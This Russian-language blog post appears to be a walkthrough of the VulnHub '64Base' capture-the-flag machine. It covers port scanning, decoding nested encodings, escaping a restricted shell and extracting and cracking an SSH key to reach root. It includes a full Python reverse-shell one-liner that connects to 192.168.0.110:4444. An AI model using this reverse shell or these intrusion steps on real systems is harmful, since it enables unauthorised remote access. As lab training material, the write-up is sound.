Найти в Дзене
B0rn2beR00T

Решение VulnHub (64Base)

Приветствую! В этот раз сделаем разбор на сложную тачку с 6-ю флагами внутри. Приятного чтения! Итак, посмотрим какие порты открыты у данного хоста. Хммм... мало что понятно. В таком случае проверим баннеры неопределённых портов (tcpwrapped). Это можно сделать при помощи утилиты netcat: Порт 22, как и предполагалось ssh. Порт 4899 оказался radmin. На заметку небольшая хитрость по проверке актуальности информации о портах. Хитрые админы могут путать вас, но могут забыть о банерах приветствия, которые скажут вам много. Зайдём на 80-й порт и посмотрим что там происходит. Под надписью 64base цепляет взгляд небольшая запись, похожая на кодировку. Проверим это: Так мы получаем подсказку, что первый флаг находится в исходном коде страницы. Длинная и страшная запись в соурс коде и есть наш первый флаг. Немного поигравшись с кодировками преобразовал HEX в ASCII и получаем флаг. Однако внутри флага есть ещё кодировка :) Теперь у нас есть ещё и креды от чего-то... Посмотрим от чего они. Тут буде
Оглавление

Приветствую! В этот раз сделаем разбор на сложную тачку с 6-ю флагами внутри. Приятного чтения!

Флаг 1

Итак, посмотрим какие порты открыты у данного хоста.

-2

Хммм... мало что понятно. В таком случае проверим баннеры неопределённых портов (tcpwrapped). Это можно сделать при помощи утилиты netcat:

-3

Порт 22, как и предполагалось ssh.

-4
-5

Порт 4899 оказался radmin.

На заметку небольшая хитрость по проверке актуальности информации о портах. Хитрые админы могут путать вас, но могут забыть о банерах приветствия, которые скажут вам много.

Зайдём на 80-й порт и посмотрим что там происходит.

-6

Под надписью 64base цепляет взгляд небольшая запись, похожая на кодировку. Проверим это:

-7

Так мы получаем подсказку, что первый флаг находится в исходном коде страницы.

-8

Длинная и страшная запись в соурс коде и есть наш первый флаг.

-9

Немного поигравшись с кодировками преобразовал HEX в ASCII и получаем флаг.

Однако внутри флага есть ещё кодировка :)

-10

Теперь у нас есть ещё и креды от чего-то... Посмотрим от чего они.

Тут будет много кодировок в кодировке :)

Флаг 2

При просмотре robots.txt видим список неиндексируемых директорий. Среди них будет /admin.

-11

Однако найденные креды не подошли. Ищем дальше.

-12

При просмотре страницы видим небольшую подсказку:

-13

Попробуем зайти на директорию с таким названием.

-14

Тут тоже нас ждёт авторизация, но здесь креды подойдут.

-15

-16

Нам подсказывают, что путь неверный. Снова обратимся к той странице и заметим подсказку.

-17

Теперь путь корректный! Нас переадресовывает ещё на страницу index.php. Просмотрев исходный код, видим следующее:

-18

Недолго думая запихиваем в CyberChef. По тому же принципу расшифровываем кодировки:

-19
-20

Хммм... что-то новенькое! Ссылка на видос. Продолжим нашу охоту за флагами.

Флаг 3

Видео на Youtube особо не помогло нам. Если сами посмотрите, то убедитесь в его ненадобности для решения.

Попробуем всё же пройти авторизацию на странице.

-21

Флаг 4

Переведём кодировку base64 в ASCII и получим новую подсказку. Теперь нам известны аргументы для эксплуатации команд сервера.

-22

-23

Ну и по логике CTF нам написали подсказку как действовать здесь, но многие могли это пропустить.

-24

-25

Вот и 4-й флаг

Флаг 5

В очередной раз преобразуем кодировку во что-то читабельное:

-26

Вспоминаем, что у нас есть порт ssh... Однако под кредами 64base:64base5h377 войти не получится. Мы уже поняли, что у автора есть фетишь на кодировки и делаем следующий мув:

-27
-28

Итак, мы внутри! Для начала осмотримся. Просмотрев вложение в текущей директории находим интересный файл well_done_:D и пробуем его посмотреть.

-29

Однако, табуляцией пользоваться мы не можем... и тут я понял, что у нас командная оболочка не баш, а rbash.

rbash (restricted bash) — это ограниченная версия оболочки Bash, которая ограничивает возможности пользователя.

Теперь нам определённо нужно получить нормальный шелл. Для этого делаем обратный, но сначала нужно понять что есть на хосте. Проверим следующее:

which nc - проверяем где лежит бинарник netcat и есть ли он вообще
which wget
python -v - версия языка python
perl -v

Ничего себе у него пушка 0_o
Ничего себе у него пушка 0_o

В общем полезного тут мало. Попробуем совсем в наглую поменять оболочку.

-31

Мда... Пробуем далее. Заглянем в переменные окружения:

-32

Другое дело! Теперь посмотрим переменную $PATH

Переменная окружения $PATH — это список директорий, разделённых двоеточием (:), в которых операционная система ищет исполнимые файлы (программы) при запуске команд.

-33

Ну вот и python, perl и ruby справа налево :)

Попробуем прокинуть обратный шелл:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.110",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

-34

Опять ты?
Опять ты?

Уххх зараза! Ладно, давайте просто погуляем по директориям. Это же CTF и здесь могут быть флаги или подсказки в любых местах :)

-36

У нас был интересный бинарник droids. Запустим его прописав в терминале только его имя.

-37

Красиво! Но чем это нам поможет? Жмём Q и видим следующее:

-38

Проверим можем ли мы теперь бросить по системе.

По пути /var/www/html/admin/S3cR37 вы найдёте флаг! Тут нужно просто перекопать всю систему :)

Флаг 6

-39

Посмотрим что на самом деле представляет из себя этот флаг при помощи утилиты file

-40

-41

Это ещё и оказался RSA ключ для ssh.

strings flag5\{TG9vayBJbnNpZGUhIDpECg\=\=\} | /usr/bin/head

Так мы увидим метаданные файла:

-42

На этом моменте моя Kali померала:

-43

И вот результат декодирования метаданных в HEX, а потом в Base64:

-44

Ключик ssh)

Сохраним его в отдельный файл:

-45

Зададим следующие права ключу:
$chmod 400 id_rsa

-46

Ага.. У ключа есть парольная фраза. Попробуем подобрать значение для хэша ключа:

-47

Подключимся к хосту при помощи ключа, зная парольную фразу.

-48

Если возникнет ошибка, то воспользуйтесь следующим ключом.

-49

Заходим под root-ом:

-50

Не буду в очередной раз показывать как мы декодируем ключи и просто покажу результат base64.
base64 -d /var/local/.luke|less.real

-51

Вот такой красивый баннер мы получаем после получения всех флагов.

Заключение

Тачка была непростой. На первых этапах не сразу догадался о том, что там есть кодировка в кодировке. Раньше не особо пользовался CyberChef, но теперь понял насколько он необходим.

Классическая CTF-машинка с той самой логикой выполнения. Очень много внимания к деталям и порой очень неочевидных.

Ну и раз уж эта таска про вселенную "Звёздных войн", которую я очень люблю с самого детства, тогда да прибудет с вами сила!